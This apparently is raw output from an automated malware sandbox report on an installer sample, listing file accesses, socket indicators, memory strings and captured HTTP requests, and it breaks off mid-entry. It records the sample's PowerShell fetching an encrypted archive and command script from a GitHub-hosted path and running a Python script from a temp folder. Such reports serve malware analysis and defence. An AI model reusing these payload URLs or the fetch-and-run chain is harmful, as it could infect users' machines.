"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll"50:Tbc9,"powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.CDXML"51:T939,file/memory contains long string with (Indicator: " socket "; File: "_socket.pyd") file/memory contains long string with (Indicator: " connect "; File: "_socket.pyd") file/memory contains long string with (Indicator: " bind "; File: "_socket.pyd") file/memory contains long string with (Indicator: " accept "; File: "_socket.pyd") file/memory contains long string with (Indicator: "inet_ntoa"; File: "_socket.pyd") file/memory contains long string with (Indicator: "gethostbyname"; File: "_socket.pyd") file/memory contains long string with (Indicator: "gethostname"; File: "_socket.pyd") file/memory contains long string with (Indicator: "wsastartup"; File: "_socket.pyd") file/memory contains long string with (Indicator: " send "; File: "_socket.pyd") file/memory contains long string with (Indicator: " socket "; File: "_overlapped.pyd") file/memory contains long string with (Indicator: " socket "; File: "select.pyd") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00005396-00000C2B-1678950568") Found reference to API "A non-blocking socket operation could not be completed immediately." (Indicator: " socket "; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found reference to API "A non-blocking socket operation could not be completed immediately" (Indicator: " socket "; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found reference to API "ile System Bind Data" (Indicator: " bind "; Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found reference to API "All functions which accept a handle object also accept an integer --" (Indicator: " accept "; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.03360000.00000004.mdmp") Found reference to API "S_IFSOCK: socket file" (Indicator: " socket "; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.03360000.00000004.mdmp") Found reference to API "gethostname" (Indicator: "gethostname"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp")52:Tb92,Found string "raw.githubusercontent.com" (Indicator: "githubusercontent.com"; File: "PCAP") Found string "GET /tiiisiet65-sudo/LoioioNoaisK/main/Download-macOSx.cmd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: raw.githubusercontent.comConnection: Keep-Alive" (Indicator: "githubusercontent.com"; File: "PCAP") Found string "GET /tiiisiet65-sudo/LoioioNoaisK/main/macOSx.zip.aes.part1 HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive" (Indicator: "githubusercontent.com"; File: "PCAP") Found string "https://raw.githubusercontent.com/tiiisiet65-sudo/LoioioNoaisK/main/macOSx.zip.a" (Indicator: "githubusercontent.com"; Source: "00000000-00001352-00000CBD-1685231035") Found string "https://raw.githubusercontent.com/tiiisiet65-sudo/LoioioNoaisK/main/macOSx.zip.aes.part1" (Indicator: "githubusercontent.com"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "https://raw.githubusercontent.com/tiiisiet65-sudo/LoioioNoaisK/main/macOSx.zip.aes.part2" (Indicator: "githubusercontent.com"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "raw.githubusercontent.com" (Indicator: "githubusercontent.com"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp, 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp, 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found string "https://raw.githubusercontent.com" (Indicator: "githubusercontent.com"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "http://raw.githubusercontent.com" (Indicator: "githubusercontent.com"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "Host: raw.githubusercontent.com" (Indicator: "githubusercontent.com"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "*.githubusercontent.com" (Indicator: "githubusercontent.com"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp, 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp, 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found string "githubusercontent.com" (Indicator: "githubusercontent.com"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp, 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp, 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found string "raw.githubusercontent.com0" (Indicator: "githubusercontent.com"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp, 00000000-00001352.00000000.176224.1FC80000.00000004.mdmp, 00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found string ".githubusercontent.com" (Indicator: "githubusercontent.com"; Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found string "aw.githubusercontent.com" (Indicator: "githubusercontent.com"; Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp")53:T32a5,Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202013.crl0u0s0qehttp://www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202013.crt0" Pattern match: "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c" Pattern match: "http://www.w3.org/xml/1998/namespacecdatanotation" Pattern match: "www.memtest86.com" Pattern match: "http://schemas.microsoft.com/windows/2004/02/mit/task" Heuristic match: "raw.githubusercontent.com" Heuristic match: "loeop.com" Pattern match: "https://raw.githubusercontent.com/tiiisiet65-sudo/loioionoaisk/main/macosx.zip.a" Heuristic match: "%temp%\drivers\macos\py.exe %temp%\drivers\macos\run.py" Heuristic match: "%temp%\drivers\macos\run.py" Heuristic match: "un.py" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "ntrust.net" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "https://fs.microsoft.com/fs/windows/config.json" Pattern match: "https://fs.microsoft.com/fs/windows/config.json,config,0" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Pattern match: "http://www.w3.org/2000/09/xmldsig#dsa-sha1" Pattern match: "http://www.w3.org/2000/09/xmldsig#rsa-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha512" Pattern match: "http://www.w3.org/2000/09/xmldsig#sha1" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha256" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha512" Pattern match: "http://www.w3.org/2001/04/xmlenc#ripemd160" Pattern match: "http://www.w3.org/2001/04/xmlenc#des-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#tripledes-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-tripledes" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes128-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes128" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes192-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes192" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes256-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes256" Pattern match: "http://www.w3.org/tr/2001/rec-xml-c14n-20010315" Pattern match: "http://www.w3.org/tr/2001/rec-xml-c14n-20010315#withcomments" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#withcomments" Pattern match: "http://www.w3.org/2000/09/xmldsig#base64" Pattern match: "http://www.w3.org/tr/1999/rec-xpath-19991116" Pattern match: "http://www.w3.org/tr/1999/rec-xslt-19991116" Pattern match: "http://www.w3.org/2000/09/xmldsig#enveloped-signature" Pattern match: "http://www.w3.org/2002/07/decrypt#xml" Pattern match: "http://www.w3.org/2000/09/xmldsig#" Pattern match: "http://www.w3.org/2001/04/xmlenc#" Pattern match: "http://www.w3.org/2000/09/xmldsig#hmac-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-md5" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-ripemd160" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha512" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/xml/1998/namespace" Pattern match: "http://schemas.microsoft.com/.netconfiguration/v2.0" Pattern match: "system.web/anonymousidentification" Pattern match: "system.web/authentication" Pattern match: "system.web/authorization" Pattern match: "system.web/browsercaps" Pattern match: "system.web/clienttarget" Pattern match: "system.web/compilation" Pattern match: "system.web/customerrors" Pattern match: "system.web/deployment" Pattern match: "system.web/devicefilters" Pattern match: "system.web/fulltrustassemblies" Pattern match: "system.web/globalization" Pattern match: "system.web/healthmonitoring" Pattern match: "system.web/hostingenvironment" Pattern match: "system.web/httpcookies" Pattern match: "system.web/httphandlers" Pattern match: "system.web/httpmodules" Pattern match: "system.web/httpruntime" Pattern match: "system.web/identity" Pattern match: "system.web/machinekey" Pattern match: "system.web/membership" Pattern match: "system.web/mobilecontrols" Pattern match: "system.web/pages" Pattern match: "system.web/partialtrustvisibleassemblies" Pattern match: "system.web/processmodel" Pattern match: "system.web/profile" Pattern match: "system.web/protocols" Pattern match: "system.web/rolemanager" Pattern match: "system.web/securitypolicy" Pattern match: "system.web/sessionpagestate" Pattern match: "system.web/sessionstate" Pattern match: "system.web/sitemap" Pattern match: "system.web/trace" Pattern match: "system.web/trust" Pattern match: "system.web/urlmappings" Pattern match: "system.web/webcontrols" Pattern match: "system.web/webparts" Pattern match: "system.web/webservices" Pattern match: "system.web/xhtmlconformance" Pattern match: "system.web/caching" Pattern match: "system.web/caching/cache" Pattern match: "system.web/caching/outputcache" Pattern match: "system.web/caching/outputcachesettings" Pattern match: "system.web/caching/sqlcachedependency" Heuristic match: "run.py" Heuristic match: "/.net/netclasses/httpwebrequest/connect__group$$/" Pattern match: "https://raw.githubusercontent.com/tiiisiet65-sudo/loioionoaisk/main/macosx.zip.aes.part1" Pattern match: "https://raw.gith" Pattern match: "ubusercontent.com/tiiisiet65-sudo/loioionoaisk/main/macosx.zip.aes.part1" Pattern match: "https://raw.githubusercontent.com/tiiisiet65-sudo/loioionoaisk/main/macosx.zip.aes.part2" Pattern match: "ubusercontent.com/tiiisiet65-sudo/loioionoaisk/main/macosx.zip.aes.part2" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "https://raw.githubusercontent.com" Pattern match: "http://raw.githubusercontent.com" Heuristic match: "host: raw.githubusercontent.com" Heuristic match: "*.github.io" Heuristic match: "*.github.com" Heuristic match: "*.githubusercontent.com" Heuristic match: "github.com" Heuristic match: "github.io" Heuristic match: "githubusercontent.com" Heuristic match: ".githubusercontent.com" Heuristic match: "aw.githubusercontent.com" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://oneocsp.microsoft.com/ocsp0" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "http://www.microsoft.com0" Pattern match: "www.digicert.com1!0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Heuristic match: "c:\users\hapubws\appdata\local\temp\drivers\macos\py.exe c:\users\hapubws\appdata\local\temp\drivers\macos\run.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\drivers\macos\run.py" Heuristic match: ":\users\hapubws\appdata\local\temp\drivers\macos\run.py" Pattern match: "http://sche" Pattern match: "icrosoft.com/windows/2004/02/mit/task" Heuristic match: "ncodings\cp1252.py" Heuristic match: "copyright (c) 1999-2000, marc-andre lemburg; mailto:mal@lemburg.com" Heuristic match: "copyright (c) 2000-2010, egenix.com software gmbh; mailto:info@egenix.com" Heuristic match: "u0g(tp.mt" Heuristic match: "c:\users\hapubws\appdata\local\temp\drivers\macos\lib\_collections_abc.py" Heuristic match: "encodings\__init__.py" Heuristic match: "encodings\utf_8.py" Heuristic match: "encodings\cp1252.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\drivers\macos\lib\abc.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\drivers\macos\lib\io.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\drivers\macos\lib\os.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\drivers\macos\lib\stat.py" Heuristic match: "c:\users\hapubws\appdata\local\temp\drivers\macos\lib\ntpath.py" Heuristic match: "starting run.py" Heuristic match: "ctypes\__init__.py" Heuristic match: "types.py" Heuristic match: "java.vm.name" Heuristic match: "python.cat" Heuristic match: "ctypes\_endian.py" Heuristic match: "collections\__init__.py" Heuristic match: "platform.py" Heuristic match: "re\__init__.py" Heuristic match: "reprlib.py" Heuristic match: "enum.py" Heuristic match: "enum.name" Heuristic match: "functools.py" Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: "bisect.py" Heuristic match: "encodings\utf_16.py" Heuristic match: "string.py" Heuristic match: "tj.al" Heuristic match: "p[.ve" Heuristic match: "zp.am" Heuristic match: "\,.sv" Heuristic match: "pqx.sm" Heuristic match: "f!.mv" Heuristic match: "~t.lt" Heuristic match: "':.tf" Heuristic match: "<%.us"54:T11cba,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001352.00000000.176224.03030000.00000004.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json05/22" - Source: "00000000-00001352.00000000.176224.04FA0000.00000002.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json,config,005/22" - Source: "00000000-00001352.00000000.176224.04FA0000.00000002.mdmp") Found URL "http://user.configfile:.configfile://datadirectoryc:\users\hapubws\appdata\local\temp\sys_installer_27525.exe.configfile:///c:/users/hapubws/appdata/local/temp/sys_installer_27525.exec:/users/hapubws/appdata/local/temp/sys_installer_27525.exec:\users\hapubws\appdata\local\temp\sys_installer_27525.exehttphttpsfilegophernntpnewsmailtouuidtelnetldapnet.tcpnet.pipevsmacrostargetframeworkmonikerrflct.invalidfieldfailrflct.invalidpropfail0123456789abcdefsystem.net/machine/exe/roaming_user/local_usermachine/exe/roaming_userconfigmachine.configc:\windows\microsoft.net\framework64\v4.0.30319\c:\windows\microsoft.net\framework64\v4.0.30319\path2path1c:\windows\microsoft.net\framework64\v4.0.30319\configc:\windows\microsoft.net\framework64\v4.0.30319\config\machine.configinvariant" - Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://oneocsp.microsoft.com/ocsp0072,;apshot,kernel32.'pupku2ucloudapttypentlmtssspwdigestl$0ht$8ld$@ll$hhl$0hlmemnonic" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%ydigicert" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris'/^g(o-ceahsm1.2.840.10045.2.11.3.6.1.5.5.7.1.121.2.840.113533.7.65.02.16.840.1.113730.1.131.2.840.10045.4.3.3microsoft" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00001352.00000000.176224.1FC80000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001352.00000001.177223.03030000.00000004.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json05/22" - Source: "00000000-00001352.00000001.177223.04FA0000.00000002.mdmp") Found URL "https://fs.microsoft.com/fs/windows/config.json,config,005/22" - Source: "00000000-00001352.00000001.177223.04FA0000.00000002.mdmp") Found URL 